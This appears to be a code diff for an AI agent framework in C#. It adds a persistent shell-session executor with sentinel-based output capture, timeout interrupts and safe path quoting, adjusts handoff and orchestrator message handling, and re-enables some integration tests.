+                    "$ErrorActionPreference = 'Stop'\n").ConfigureAwait(false);
+            }
+        }
+        finally
+        {
+            _ = this._lifecycleLock.Release();
+        }
+    }
+
+    public async Task CloseAsync()
+    {
+        await this._lifecycleLock.WaitAsync().ConfigureAwait(false);
+        try
+        {
+            var proc = this._proc;
+            this._proc = null;
+#pragma warning disable RCS1146
+            if (proc is null || proc.HasExited)
+#pragma warning restore RCS1146
+            {
+                await this.CancelReadersAsync().ConfigureAwait(false);
+                proc?.Dispose();
+                return;
+            }
+
+            try
+            {
+                try
+                {
+                    await proc.StandardInput.WriteLineAsync("exit").ConfigureAwait(false);
+                    await proc.StandardInput.FlushAsync().ConfigureAwait(false);
+                    proc.StandardInput.Close();
+                }
+                catch (IOException) { /* pipe may already be closed */ }
+                catch (ObjectDisposedException) { }
+
+                using var cts = new CancellationTokenSource(s_shutdownGrace);
+                try
+                {
+                    await proc.WaitForExitAsync(cts.Token).ConfigureAwait(false);
+                }
+                catch (OperationCanceledException)
+                {
+                    KillProcessTree(proc);
+                }
+            }
+            finally
+            {
+                await this.CancelReadersAsync().ConfigureAwait(false);
+                proc.Dispose();
+            }
+        }
+        finally
+        {
+            _ = this._lifecycleLock.Release();
+        }
+    }
+
+    private async Task CancelReadersAsync()
+    {
+        // Reader loops exit when their stream closes; just wait for them.
+        if (this._stdoutReader is not null)
+        {
+            try { await this._stdoutReader.ConfigureAwait(false); }
+            catch { /* best-effort */ }
+        }
+        if (this._stderrReader is not null)
+        {
+            try { await this._stderrReader.ConfigureAwait(false); }
+            catch { /* best-effort */ }
+        }
+        this._stdoutReader = null;
+        this._stderrReader = null;
+    }
+
+    /// <summary>Run a single command in the live session and return the result.</summary>
+    public async Task<ShellResult> RunAsync(string command, TimeSpan? timeout, CancellationToken cancellationToken)
+    {
+        await this.EnsureStartedAsync().ConfigureAwait(false);
+        await this._runLock.WaitAsync(cancellationToken).ConfigureAwait(false);
+        try
+        {
+            return await this.RunLockedAsync(command, timeout, cancellationToken).ConfigureAwait(false);
+        }
+        finally
+        {
+            _ = this._runLock.Release();
+        }
+    }
+
+    private async Task<ShellResult> RunLockedAsync(string command, TimeSpan? timeout, CancellationToken cancellationToken)
+    {
+        var proc = this._proc ?? throw new InvalidOperationException("Session not started.");
+
+        // Per-command random suffix on top of the session tag.
+        var suffix = new byte[4];
+#if NET6_0_OR_GREATER
+        System.Security.Cryptography.RandomNumberGenerator.Fill(suffix);
+#else
+        using (var rng = System.Security.Cryptography.RandomNumberGenerator.Create())
+        {
+            rng.GetBytes(suffix);
+        }
+#endif
+#pragma warning disable CA1308
+        var sentinel = $"__AF_END_{this._sentinelTag}_{Convert.ToHexString(suffix).ToLowerInvariant()}__";
+#pragma warning restore CA1308
+        var script = this.BuildScript(command, sentinel);
+
+        int stdoutOffset, stderrOffset;
+        lock (this._bufferGate)
+        {
+            stdoutOffset = this._stdoutBuf.Count;
+            stderrOffset = this._stderrBuf.Count;
+            // Reset stdout signal so the wait loop blocks on fresh data.
+            this._stdoutSignal = NewSignal();
+        }
+
+        var stopwatch = Stopwatch.StartNew();
+        try
+        {
+            await proc.StandardInput.WriteAsync(script.AsMemory(), cancellationToken).ConfigureAwait(false);
+            await proc.StandardInput.FlushAsync(cancellationToken).ConfigureAwait(false);
+        }
+        catch (IOException ex)
+        {
+            throw new IOException("Persistent shell session is no longer alive.", ex);
+        }
+
+        var needle = Encoding.UTF8.GetBytes(sentinel);
+        var hardCap = this._maxOutputBytes * 4;
+        var (sentinelIdx, exitCode, timedOut, overflow) = await this.WaitForSentinelAsync(
+            needle, stdoutOffset, hardCap, timeout, cancellationToken).ConfigureAwait(false);
+
+        if (timedOut)
+        {
+            // Graceful path: interrupt the current command (SIGINT / Ctrl+C)
+            // and give the shell a moment to print its own sentinel. If that
+            // works the session survives — `cd` and exported variables from
+            // earlier calls are preserved across the timeout.
+            await this.InterruptCurrentCommandAsync().ConfigureAwait(false);
+            using var graceCts = new CancellationTokenSource(s_interruptGrace);
+            try
+            {
+                using var graceLink = CancellationTokenSource.CreateLinkedTokenSource(cancellationToken, graceCts.Token);
+                var (postIdx, _, postTimedOut, postOverflow) = await this.WaitForSentinelAsync(
+                    needle, stdoutOffset, hardCap, s_interruptGrace, graceLink.Token).ConfigureAwait(false);
+                if (!postTimedOut && !postOverflow && postIdx >= 0)
+                {
+                    sentinelIdx = postIdx;
+                    // Treat a successfully-interrupted command as a timeout
+                    // for the result envelope but keep the session alive.
+                    await Task.Delay(s_stderrQuiescence, cancellationToken).ConfigureAwait(false);
+                    stopwatch.Stop();
+                    byte[] stdoutRawI;
+                    byte[] stderrRawI;
+                    lock (this._bufferGate)
+                    {
+                        stdoutRawI = SnapshotRange(this._stdoutBuf, stdoutOffset, sentinelIdx - stdoutOffset);
+                        stderrRawI = SnapshotRange(this._stderrBuf, stderrOffset, this._stderrBuf.Count - stderrOffset);
+                    }
+                    var stdoutI = Encoding.UTF8.GetString(stdoutRawI).TrimEnd('\r', '\n');
+                    var stderrI = Encoding.UTF8.GetString(stderrRawI);
+                    var (soutI, soTI) = TruncateHeadTail(stdoutI, this._maxOutputBytes);
+                    var (serrI, seTI) = TruncateHeadTail(stderrI, this._maxOutputBytes);
+                    return new ShellResult(
+                        Stdout: soutI,
+                        Stderr: serrI,
+                        ExitCode: 124,
+                        Duration: stopwatch.Elapsed,
+                        Truncated: soTI || seTI,
+                        TimedOut: true);
+                }
+            }
+            catch (OperationCanceledException) { /* fall through to hard close */ }
+        }
+
+        if (timedOut || overflow)
+        {
+            // Best-effort recovery: tear the session down. Next call respawns.
+            await this.CloseAsync().ConfigureAwait(false);
+            stopwatch.Stop();
+            byte[] stdoutBytes;
+            byte[] stderrBytes;
+            lock (this._bufferGate)
+            {
+                stdoutBytes = SnapshotRange(this._stdoutBuf, stdoutOffset, this._stdoutBuf.Count - stdoutOffset);
+                stderrBytes = SnapshotRange(this._stderrBuf, stderrOffset, this._stderrBuf.Count - stderrOffset);
+            }
+            var (so, soT) = TruncateHeadTail(Encoding.UTF8.GetString(stdoutBytes), this._maxOutputBytes);
+            var (se, seT) = TruncateHeadTail(Encoding.UTF8.GetString(stderrBytes), this._maxOutputBytes);
+            return new ShellResult(
+                Stdout: so,
+                Stderr: se,
+                ExitCode: timedOut ? 124 : -1,
+                Duration: stopwatch.Elapsed,
+                Truncated: soT || seT,
+                TimedOut: timedOut);
+        }
+
+        // Let stderr quiesce briefly — late writes from the completing command
+        // otherwise leak into the next run().
+        await Task.Delay(s_stderrQuiescence, cancellationToken).ConfigureAwait(false);
+
+        stopwatch.Stop();
+        byte[] stdoutRaw;
+        byte[] stderrRaw;
+        lock (this._bufferGate)
+        {
+            stdoutRaw = SnapshotRange(this._stdoutBuf, stdoutOffset, sentinelIdx - stdoutOffset);
+            stderrRaw = SnapshotRange(this._stderrBuf, stderrOffset, this._stderrBuf.Count - stderrOffset);
+        }
+
+        var stdout = Encoding.UTF8.GetString(stdoutRaw).TrimEnd('\r', '\n');
+        var stderr = Encoding.UTF8.GetString(stderrRaw);
+        var (sout, soutTrunc) = TruncateHeadTail(stdout, this._maxOutputBytes);
+        var (serr, serrTrunc) = TruncateHeadTail(stderr, this._maxOutputBytes);
+
+        return new ShellResult(
+            Stdout: sout,
+            Stderr: serr,
+            ExitCode: exitCode,
+            Duration: stopwatch.Elapsed,
+            Truncated: soutTrunc || serrTrunc,
+            TimedOut: false);
+    }
+
+    private async Task<(int sentinelIdx, int exitCode, bool timedOut, bool overflow)> WaitForSentinelAsync(
+        byte[] needle, int searchFrom, int hardCap, TimeSpan? timeout, CancellationToken cancellationToken)
+    {
+        using var timeoutCts = timeout is null
+            ? new CancellationTokenSource()
+            : new CancellationTokenSource(timeout.Value);
+        using var linkedCts = CancellationTokenSource.CreateLinkedTokenSource(
+            cancellationToken, timeoutCts.Token);
+
+        while (true)
+        {
+            int idx;
+            int bufLen;
+            bool closed;
+            TaskCompletionSource<bool> signal;
+            lock (this._bufferGate)
+            {
+                bufLen = this._stdoutBuf.Count;
+                closed = this._stdoutClosed;
+                signal = this._stdoutSignal;
+                idx = IndexOf(this._stdoutBuf, needle, searchFrom);
+            }
+
+            if (idx >= 0)
+            {
+                var rc = await this.ReadExitCodeAsync(idx + needle.Length, linkedCts.Token).ConfigureAwait(false);
+                return (idx, rc, false, false);
+            }
+            if (bufLen - searchFrom > hardCap)
+            {
+                return (-1, -1, false, true);
+            }
+            if (closed)
+            {
+                return (-1, -1, false, true);
+            }
+
+            try
+            {
+                await signal.Task.WaitAsync(TimeSpan.FromMilliseconds(100), linkedCts.Token).ConfigureAwait(false);
+            }
+            catch (TimeoutException)
+            {
+                // Spin and re-check.
+            }
+            catch (OperationCanceledException) when (timeoutCts.IsCancellationRequested && !cancellationToken.IsCancellationRequested)
+            {
+                return (-1, -1, true, false);
+            }
+        }
+    }
+
+    private async Task<int> ReadExitCodeAsync(int afterIdx, CancellationToken cancellationToken)
+    {
+        // The trailer is "_<digits>\n". Wait briefly for the newline to land.
+        var deadline = DateTime.UtcNow + TimeSpan.FromSeconds(1);
+        while (DateTime.UtcNow < deadline)
+        {
+            int len;
+            byte[] tail;
+            TaskCompletionSource<bool> signal;
+            lock (this._bufferGate)
+            {
+                len = this._stdoutBuf.Count - afterIdx;
+                tail = len > 0 ? SnapshotRange(this._stdoutBuf, afterIdx, len) : Array.Empty<byte>();
+                signal = this._stdoutSignal = NewSignal();
+            }
+
+            var nl = Array.IndexOf(tail, (byte)'\n');
+            if (nl >= 0)
+            {
+                return ParseRc(tail, nl);
+            }
+
+            try
+            {
+                await signal.Task.WaitAsync(TimeSpan.FromMilliseconds(100), cancellationToken).ConfigureAwait(false);
+            }
+            catch (TimeoutException) { }
+        }
+        return -1;
+    }
+
+    private static int ParseRc(byte[] tail, int newlineIdx)
+    {
+        if (newlineIdx == 0 || tail[0] != (byte)'_')
+        {
+            return -1;
+        }
+        var digits = new StringBuilder();
+        for (var i = 1; i < newlineIdx; i++)
+        {
+            var b = tail[i];
+            if (b == '\r')
+            {
+                break;
+            }
+            if ((b >= '0' && b <= '9') || b == '-')
+            {
+                _ = digits.Append((char)b);
+            }
+            else
+            {
+                return -1;
+            }
+        }
+        return int.TryParse(digits.ToString(), NumberStyles.Integer, CultureInfo.InvariantCulture, out var rc)
+            ? rc
+            : -1;
+    }
+
+    private string BuildScript(string command, string sentinel)
+    {
+        // Idempotent re-anchor: in confined mode every command is prefixed
+        // with a `cd` back to the configured workdir so a `cd` inside one
+        // command doesn't leak to the next.
+        var effective = this.MaybeReanchor(command);
+
+        if (this._shell.Kind == ShellKind.PowerShell)
+        {
+            // Base64-encode the command so multi-line constructs don't stall
+            // the pwsh parser. Sentinel is emitted via [Console]::WriteLine
+            // so the pipeline formatter can't drop the newline.
+            var encoded = Convert.ToBase64String(Encoding.UTF8.GetBytes(effective));
+            return
+                "& {" +
+                " $__af_rc = 0;" +
+                " try {" +
+                $"   $__af_cmd = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('{encoded}'));" +
+                // Force the user command's success output through the same
+                // [Console]::Out pipe as the sentinel, *inside the try* so
+                // every byte of output is flushed before the finally fires.
+                // Without this, pwsh defers Out-Default formatting until the
+                // script block returns and the sentinel races ahead of the
+                // user's output in the byte stream.
+                "   Invoke-Expression $__af_cmd 2>&1 | ForEach-Object {" +
+                "     if ($_ -is [System.Management.Automation.ErrorRecord]) {" +
+                "       [Console]::Error.WriteLine(($_ | Out-String).TrimEnd());" +
+                "     } else {" +
+                "       [Console]::WriteLine(($_ | Out-String).TrimEnd());" +
+                "     }" +
+                "   };" +
+                "   [Console]::Out.Flush();" +
+                "   if ($LASTEXITCODE -ne $null) { $__af_rc = $LASTEXITCODE }" +
+                "   elseif (-not $?) { $__af_rc = 1 }" +
+                " } catch {" +
+                "   [Console]::Error.WriteLine($_.ToString());" +
+                "   $__af_rc = 1" +
+                " } finally {" +
+                $"   [Console]::WriteLine('{sentinel}_' + $__af_rc);" +
+                "   [Console]::Out.Flush()" +
+                " }" +
+                " }\n";
+        }
+
+        // POSIX shell. Run the user command in a brace group so we capture
+        // its exit status, then print the sentinel on a line of its own.
+        // ``set +e`` around the trailer prevents a prior ``set -e`` from
+        // skipping the sentinel print.
+        return "{ " + effective + "\n" +
+               "}; __af_rc=$?; set +e; " +
+               $"printf '\\n{sentinel}_%s\\n' \"$__af_rc\"\n";
+    }
+
+    private string MaybeReanchor(string command)
+    {
+        if (!this._confineWorkingDirectory || string.IsNullOrEmpty(this._workingDirectory))
+        {
+            return command;
+        }
+        return this._shell.Kind == ShellKind.PowerShell
+            ? $"Set-Location -LiteralPath {QuotePowerShell(this._workingDirectory!)}\n{command}"
+            : $"cd -- {QuotePosix(this._workingDirectory!)}\n{command}";
+    }
+
+    /// <summary>
+    /// Wrap <paramref name="value"/> in a PowerShell single-quoted string literal,
+    /// escaping embedded single quotes by doubling. Single-quoted PowerShell
+    /// strings perform no expansion, so this is safe against <c>$(...)</c>,
+    /// <c>$var</c>, and backtick interpolation.
+    /// </summary>
+    internal static string QuotePowerShell(string value) =>
+        "'" + value.Replace("'", "''", StringComparison.Ordinal) + "'";
+
+    /// <summary>
+    /// Wrap <paramref name="value"/> in POSIX single quotes, terminating and
+    /// re-opening the literal around any embedded single quote
+    /// (<c>'\u0027\\\u0027'</c>). POSIX single-quoted strings perform no
+    /// expansion, so this is safe against <c>$VAR</c>, <c>$(...)</c>, and
+    /// backtick interpolation.
+    /// </summary>
+    internal static string QuotePosix(string value) =>
+        "'" + value.Replace("'", "'\\''", StringComparison.Ordinal) + "'";
+
+    /// <summary>
+    /// Send SIGINT (POSIX) or Ctrl+Break (Windows) to the live shell so the
+    /// currently-running command is cancelled but the shell itself survives.
+    /// Used to honor a per-command timeout without losing session state.
+    /// </summary>
+    internal async Task InterruptCurrentCommandAsync()
+    {
+        var proc = this._proc;
+#pragma warning disable RCS1146
+        if (proc is null || proc.HasExited)
+#pragma warning restore RCS1146
+        {
+            return;
+        }
+        try
+        {
+            if (RuntimeInformation.IsOSPlatform(OSPlatform.Windows))
+            {
+                // pwsh hosted in -NoInteractive mode doesn't have a console
+                // group attached to it, so GenerateConsoleCtrlEvent typically
+                // can't reach it. Best we can do without ripping the session
+                // is to write Ctrl+C to stdin, which the pwsh REPL picks up
+                // for the in-flight pipeline. If that doesn't work the caller
+                // falls back to a hard close-and-respawn.
+                try
+                {
+                    await proc.StandardInput.WriteAsync("\u0003").ConfigureAwait(false);
+                    await proc.StandardInput.FlushAsync().ConfigureAwait(false);
+                }
+                catch (IOException) { }
+                catch (ObjectDisposedException) { }
+            }
+            else
+            {
+                // Send SIGINT to the process group so the shell + any direct
+                // child receive it. p/invoke killpg via libc. We only do
+                // this when EnsureStartedAsync succeeded in wrapping the
+                // shell in `setsid` — otherwise `proc.Id` is NOT a process
+                // group id (the child inherited the agent's PGID) and
+                // calling killpg on it would signal the agent.
+                if (!this._isSessionLeader)
+                {
+                    return;
+                }
+                _ = NativeMethods.killpg(proc.Id, NativeMethods.SIGINT);
+            }
+        }
+        catch (Exception ex) when (ex is InvalidOperationException || ex is System.ComponentModel.Win32Exception)
+        {
+            // Best-effort interrupt — fall through to caller's hard-close path.
+        }
+        await Task.CompletedTask.ConfigureAwait(false);
+    }
+
+    private static bool TryFindSetsid(out string fullPath)
+    {
+        // Check well-known locations first to avoid PATH-based lookups when possible.
+        foreach (var c in new[] { "/usr/bin/setsid", "/bin/setsid", "/usr/local/bin/setsid" })
+        {
+            if (File.Exists(c))
+            {
+                fullPath = c;
+                return true;
+            }
+        }
+        // Fall back to PATH.
+        var pathEnv = Environment.GetEnvironmentVariable("PATH");
+        if (!string.IsNullOrEmpty(pathEnv))
+        {
+            foreach (var dir in pathEnv!.Split(Path.PathSeparator))
+            {
+                if (string.IsNullOrEmpty(dir))
+                {
+                    continue;
+                }
+                var candidate = Path.Combine(dir, "setsid");
+                if (File.Exists(candidate))
+                {
+                    fullPath = candidate;
+                    return true;
+                }
+            }
+        }
+        fullPath = string.Empty;
+        return false;
+    }
+
+    private static class NativeMethods
+    {
+        internal const int SIGINT = 2;
+
+        // killpg lives in libc on Linux/macOS. The previous annotation used
+        // DllImportSearchPath.System32 — that's a Windows-only loader hint and
+        // does nothing for libc.so on POSIX. SafeDirectories satisfies
+        // CA5392/CA5393 without falling back to the unsafe AssemblyDirectory
+        // probe path. The call site is also gated to non-Windows, so the
+        // import is never resolved on Windows.
+        [DllImport("libc", SetLastError = true)]
+        [DefaultDllImportSearchPaths(DllImportSearchPath.SafeDirectories)]
+        internal static extern int killpg(int pgrp, int sig);
+    }
+
+    private async Task WriteRawAsync(string text)
+    {
+        if (this._proc is null)
+        {
+            return;
+        }
+        await this._proc.StandardInput.WriteAsync(text).ConfigureAwait(false);
+        await this._proc.StandardInput.FlushAsync().ConfigureAwait(false);
+    }
+
+    private async Task ReadLoopAsync(Stream stream, List<byte> buf, bool isStdout)
+    {
+        var chunk = new byte[ReadChunk];
+        try
+        {
+            while (true)
+            {
+                int n;
+                try
+                {
+                    n = await stream.ReadAsync(chunk.AsMemory(), CancellationToken.None).ConfigureAwait(false);
+                }
+                catch (IOException) { break; }
+                catch (ObjectDisposedException) { break; }
+
+                if (n == 0)
+                {
+                    break;
+                }
+
+                lock (this._bufferGate)
+                {
+                    // Bulk-copy the chunk into the backing list. ArraySegment<byte>
+                    // implements ICollection<byte>, so AddRange takes the fast path
+                    // and avoids per-byte resize/branching on the hot path.
+                    buf.AddRange(new ArraySegment<byte>(chunk, 0, n));
+                    if (isStdout)
+                    {
+                        // Swap the signal BEFORE completing the old one so any
+                        // consumer that next reads `_stdoutSignal` sees a fresh
+                        // (uncompleted) TCS. Without this, a consumer looping in
+                        // WaitForSentinelAsync would re-read the same completed
+                        // TCS, causing WaitAsync to return synchronously every
+                        // iteration — a tight busy-spin until the sentinel
+                        // arrives or the timeout fires.
+                        var prev = this._stdoutSignal;
+                        this._stdoutSignal = NewSignal();
+                        _ = prev.TrySetResult(true);
+                    }
+                }
+            }
+        }
+        finally
+        {
+            if (isStdout)
+            {
+                lock (this._bufferGate)
+                {
+                    this._stdoutClosed = true;
+                    _ = this._stdoutSignal.TrySetResult(true);
+                }
+            }
+        }
+    }
+
+    private static byte[] SnapshotRange(List<byte> buf, int start, int length)
+    {
+        if (length <= 0)
+        {
+            return Array.Empty<byte>();
+        }
+        var result = new byte[length];
+        for (var i = 0; i < length; i++)
+        {
+            result[i] = buf[start + i];
+        }
+        return result;
+    }
+
+    private static int IndexOf(List<byte> buf, byte[] needle, int from)
+    {
+        // Caller holds the buffer gate. Linear search; needle is ~30 bytes
+        // so this is fine for our buffer sizes (< few MB even in worst-case
+        // overflow).
+        var end = buf.Count - needle.Length;
+        for (var i = from; i <= end; i++)
+        {
+            var match = true;
+            for (var j = 0; j < needle.Length; j++)
+            {
+                if (buf[i + j] != needle[j])
+                {
+                    match = false;
+                    break;
+                }
+            }
+            if (match)
+            {
+                return i;
+            }
+        }
+        return -1;
+    }
+
+    /// <summary>
+    /// Truncate <paramref name="data"/> to at most <paramref name="cap"/> UTF-8 bytes
+    /// using a head/tail strategy. Splits between runes (never inside a multi-byte
+    /// UTF-8 sequence) so the result is always valid UTF-8 / .NET text.
+    /// </summary>
+    /// <param name="data">The text to truncate.</param>
+    /// <param name="cap">Maximum number of UTF-8 bytes to retain (excluding the marker line).</param>
+    /// <returns>The (possibly truncated) text and a flag indicating whether truncation occurred.</returns>
+    internal static (string text, bool truncated) TruncateHeadTail(string data, int cap)
+    {
+        if (cap <= 0 || string.IsNullOrEmpty(data))
+        {
+            return (data, false);
+        }
+
+        var totalBytes = Encoding.UTF8.GetByteCount(data);
+        if (totalBytes <= cap)
+        {
+            return (data, false);
+        }
+
+        var headCap = cap / 2;
+        var tailCap = cap - headCap;
+        var head = TakePrefixByBytes(data, headCap);
+        var tail = TakeSuffixByBytes(data, tailCap);
+        var droppedBytes = totalBytes - Encoding.UTF8.GetByteCount(head) - Encoding.UTF8.GetByteCount(tail);
+        if (droppedBytes < 0)
+        {
+            droppedBytes = 0;
+        }
+        return ($"{head}\n[... truncated {droppedBytes} bytes ...]\n{tail}", true);
+    }
+
+    private static string TakePrefixByBytes(string data, int maxBytes)
+    {
+        if (maxBytes <= 0)
+        {
+            return string.Empty;
+        }
+
+        // Iterate by rune so we never split a surrogate pair and never have to
+        // reason about Encoder state. Rune.Utf8SequenceLength is the byte width
+        // of the rune in UTF-8; for unpaired surrogates EnumerateRunes yields
+        // Rune.ReplacementChar (3 bytes), which matches what UTF-8 encoding
+        // would have produced anyway.
+        var byteCount = 0;
+        var charsTaken = 0;
+        foreach (var rune in data.EnumerateRunes())
+        {
+            var n = rune.Utf8SequenceLength;
+            if (byteCount + n > maxBytes)
+            {
+                break;
+            }
+            byteCount += n;
+            charsTaken += rune.Utf16SequenceLength;
+        }
+        return data.Substring(0, charsTaken);
+    }
+
+    private static string TakeSuffixByBytes(string data, int maxBytes)
+    {
+        if (maxBytes <= 0)
+        {
+            return string.Empty;
+        }
+
+        // Same approach as the prefix walker, but we need to skip an unknown
+        // prefix and keep the suffix. Walk the runes forward to learn the total
+        // UTF-8 byte count, then walk again skipping while the remaining tail
+        // would exceed `maxBytes`.
+        var totalBytes = 0;
+        foreach (var rune in data.EnumerateRunes())
+        {
+            totalBytes += rune.Utf8SequenceLength;
+        }
+        if (totalBytes <= maxBytes)
+        {
+            return data;
+        }
+
+        var bytesToSkip = totalBytes - maxBytes;
+        var skipped = 0;
+        var startCharIndex = 0;
+        foreach (var rune in data.EnumerateRunes())
+        {
+            var n = rune.Utf8SequenceLength;
+            if (skipped + n > bytesToSkip)
+            {
+                break;
+            }
+            skipped += n;
+            startCharIndex += rune.Utf16SequenceLength;
+        }
+        return data.Substring(startCharIndex);
+    }
+
+    private static void KillProcessTree(Process process)
+    {
+        try
+        {
+#if NET5_0_OR_GREATER
+            process.Kill(entireProcessTree: true);
+#else
+            process.Kill();
+#endif
+        }
+        catch (InvalidOperationException) { }
+        catch (System.ComponentModel.Win32Exception) { }
+    }
+
+    private static TaskCompletionSource<bool> NewSignal()
+        => new(TaskCreationOptions.RunContinuationsAsynchronously);
+}
@@ -266,7 +266,33 @@ internal sealed class HandoffAgentExecutor :
                    sharedState.Conversation.AddMessages(incomingMessages);
                }

-                newConversationBookmark = sharedState.Conversation.AddMessages(result.Response.Messages);
+                if (result.IsHandoffRequested)
+                {
+                    int preHandoffMessageCount = result.Response.Messages.Count - 1;
+                    newConversationBookmark = sharedState.Conversation.AddMessages(result.Response.Messages.Take(preHandoffMessageCount));
+
+                    // The following message contains the Handoff FunctionCallResult which should be added to the conversation history with
+                    // the caveat that we need to get it back next time _this_ agent is invoked because we need to feed the FunctionCallResult
+                    // back to the agent. So ignore the bookmark update.
+                    ChatMessage handoffCallResultMessage = result.Response.Messages[preHandoffMessageCount];
+
+                    if (handoffCallResultMessage.Role != ChatRole.Tool)
+                    {
+                        throw new InvalidOperationException("The last message in a handoff response must be a Tool message containing the Handoff FunctionCallResult.");
+                    }
+
+                    if (handoffCallResultMessage.Contents.Count != 1 ||
+                        handoffCallResultMessage.Contents[0] is not FunctionResultContent)
+                    {
+                        throw new InvalidOperationException("The Tool message in a handoff response must contain exactly one content item of type FunctionResultContent.");
+                    }
+
+                    _ = sharedState.Conversation.AddMessage(handoffCallResultMessage);
+                }
+                else
+                {
+                    newConversationBookmark = sharedState.Conversation.AddMessages(result.Response.Messages);
+                }

                return new ValueTask();
            },
@@ -376,39 +402,28 @@ internal sealed class HandoffAgentExecutor :
        List<AgentResponseUpdate> updates = [];
        List<FunctionCallContent> candidateRequests = [];

-        await this.InvokeWithStateAsync(
-            async (state, ctx, ct) =>
+        this._session ??= await this._agent.CreateSessionAsync(cancellationToken).ConfigureAwait(false);
+
+        IAsyncEnumerable<AgentResponseUpdate> agentStream =
+            this._agent.RunStreamingAsync(messages, this._session, this._agentOptions, cancellationToken);
+
+        await foreach (AgentResponseUpdate update in agentStream.ConfigureAwait(false))
+        {
+            await AddUpdateAsync(update, cancellationToken).ConfigureAwait(false);
+
+            collector.ProcessAgentResponseUpdate(update, CollectHandoffRequestsFilter);
+
+            bool CollectHandoffRequestsFilter(FunctionCallContent candidateHandoffRequest)
            {
-                this._session ??= await this._agent.CreateSessionAsync(ct).ConfigureAwait(false);
-
-                IAsyncEnumerable<AgentResponseUpdate> agentStream =
-                    this._agent.RunStreamingAsync(messages,
-                                                  this._session,
-                                                  options: this._agentOptions,
-                                                  cancellationToken: ct);
-
-                await foreach (AgentResponseUpdate update in agentStream.ConfigureAwait(false))
+                bool isHandoffRequest = this._handoffFunctionNames.Contains(candidateHandoffRequest.Name);
+                if (isHandoffRequest)
                {
-                    await AddUpdateAsync(update, ct).ConfigureAwait(false);
-
-                    collector.ProcessAgentResponseUpdate(update, CollectHandoffRequestsFilter);
-
-                    bool CollectHandoffRequestsFilter(FunctionCallContent candidateHandoffRequest)
-                    {
-                        bool isHandoffRequest = this._handoffFunctionNames.Contains(candidateHandoffRequest.Name);
-                        if (isHandoffRequest)
-                        {
-                            candidateRequests.Add(candidateHandoffRequest);
-                        }
-
-                        return !isHandoffRequest;
-                    }
+                    candidateRequests.Add(candidateHandoffRequest);
                }

-                return state;
-            },
-            context,
-            cancellationToken: cancellationToken).ConfigureAwait(false);
+                return !isHandoffRequest;
+            }
+        }

        if (candidateRequests.Count > 1)
        {
@@ -98,7 +98,10 @@ internal class MagenticOrchestrator(AIAgent managerAgent, List<AIAgent> team, Ta

    protected override ProtocolBuilder ConfigureProtocol(ProtocolBuilder protocolBuilder)
    {
-        return base.ConfigureProtocol(protocolBuilder).ConfigureRoutes(ConfigureRoutes);
+        return base.ConfigureProtocol(protocolBuilder)
+                   .SendsMessage<ChatMessage>()
+                   .SendsMessage<ResetChatSignal>()
+                   .ConfigureRoutes(ConfigureRoutes);

        void ConfigureRoutes(RouteBuilder routeBuilder) => routeBuilder.AddPortHandler<MagenticPlanReviewRequest, MagenticPlanReviewResponse>(
                "RequestPlanReview",
@@ -3,13 +3,14 @@
 using System;
 using System.Collections.Generic;
 using System.Diagnostics.CodeAnalysis;
+using System.Linq;
 using Microsoft.Extensions.AI;

 namespace Microsoft.Agents.AI.Workflows.Specialized.Magentic;

 internal sealed class StreamingToolCallResultPairMatcher
 {
-    private enum CallType
+    internal enum CallType
    {
        Function,
        McpServerTool
@@ -17,7 +18,7 @@ internal sealed class StreamingToolCallResultPairMatcher

    private record CallSummaryKey(CallType Type, string CallId);

-    private struct ToolCallSummary(CallType callType, string callId, string name)
+    internal struct ToolCallSummary(CallType callType, string callId, string name)
    {
        public CallType CallType => callType;

@@ -28,6 +29,12 @@ internal sealed class StreamingToolCallResultPairMatcher

    private readonly Dictionary<CallSummaryKey, ToolCallSummary> _callSummaries = new();

+    public bool HasUnmatchedCalls => this._callSummaries.Count > 0;
+
+    public IEnumerable<ToolCallSummary> UnmatchedCalls => this.HasUnmatchedCalls
+                                                        ? this._callSummaries.Values.ToList()
+                                                        : [];
+
    private void Collect(CallType callType, string callId, string name, string callContentTypeName, string resultContentTypeName)
    {
        CallSummaryKey key = new(callType, callId);
@@ -206,6 +206,31 @@ public sealed class MessageInjectingChatClient : DelegatingChatClient
        }
    }

+    /// <summary>
+    /// Gets a snapshot of the pending injected messages for the specified session.
+    /// </summary>
+    /// <remarks>
+    /// Returns a copy of the current pending messages that have not yet been consumed by the
+    /// injection loop. This can be used to display pending messages to the user. The returned
+    /// list is a point-in-time snapshot; messages may be consumed between calls.
+    /// </remarks>
+    /// <param name="session">The agent session to check.</param>
+    /// <returns>A read-only list of pending messages, or an empty list if none are pending.</returns>
+    public IReadOnlyList<ChatMessage> GetPendingMessages(AgentSession session)
+    {
+        Throw.IfNull(session);
+
+        if (!session.StateBag.TryGetValue<List<ChatMessage>>(PendingMessagesStateKey, out var queue) || queue is null)
+        {
+            return Array.Empty<ChatMessage>();
+        }
+
+        lock (queue)
+        {
+            return queue.Count == 0 ? Array.Empty<ChatMessage>() : queue.ToList();
+        }
+    }
+
    /// <summary>
    /// Gets or creates the pending injected messages queue from the session's <see cref="AgentSessionStateBag"/>.
    /// </summary>
@@ -102,11 +102,6 @@ public class AnthropicChatCompletionFixture : IChatClientAgentFixture

    public async ValueTask InitializeAsync()
    {
-        // Temporarily disabled: Anthropic SDK has a binary incompatibility with the current
-        // Microsoft.Extensions.AI version (WebSearchToolResultContent.Results method not found).
-        // See: https://github.com/microsoft/agent-framework/pull/5515
-        Assert.Skip("Anthropic integration tests temporarily disabled due to SDK incompatibility with Microsoft.Extensions.AI");
-
        try
        {
            _ = TestConfiguration.GetRequiredValue(TestSettings.AnthropicApiKey);
@@ -18,11 +18,7 @@ namespace AnthropicChatCompletion.IntegrationTests;
 /// Integration tests for Anthropic Skills functionality.
 /// These tests are designed to be run locally with a valid Anthropic API key.
 /// </summary>
-/// <remarks>
-/// Temporarily disabled due to Anthropic SDK binary incompatibility with
-/// the current Microsoft.Extensions.AI version (WebSearchToolResultContent.Results).
-/// </remarks>
-[Trait("Category", "IntegrationDisabled")]
+[Trait("Category", "Integration")]
 public sealed class AnthropicSkillsIntegrationTests
 {
    [Fact]
@@ -183,7 +183,7 @@ public class FoundryVersionedAgentCreateTests
    /// invokes the server-side OpenAPI function through <c>RunAsync</c>.
    /// Regression test for https://github.com/microsoft/agent-framework/issues/4883.
    /// </summary>
-    [RetryFact(Constants.RetryCount, Constants.RetryDelay, Skip = "For manual testing only")]
+    [RetryFact(Constants.RetryCount, Constants.RetryDelay)]
    public async Task AsAIAgent_WithOpenAPITool_NativeSDKCreation_InvokesServerSideToolAsync()
    {
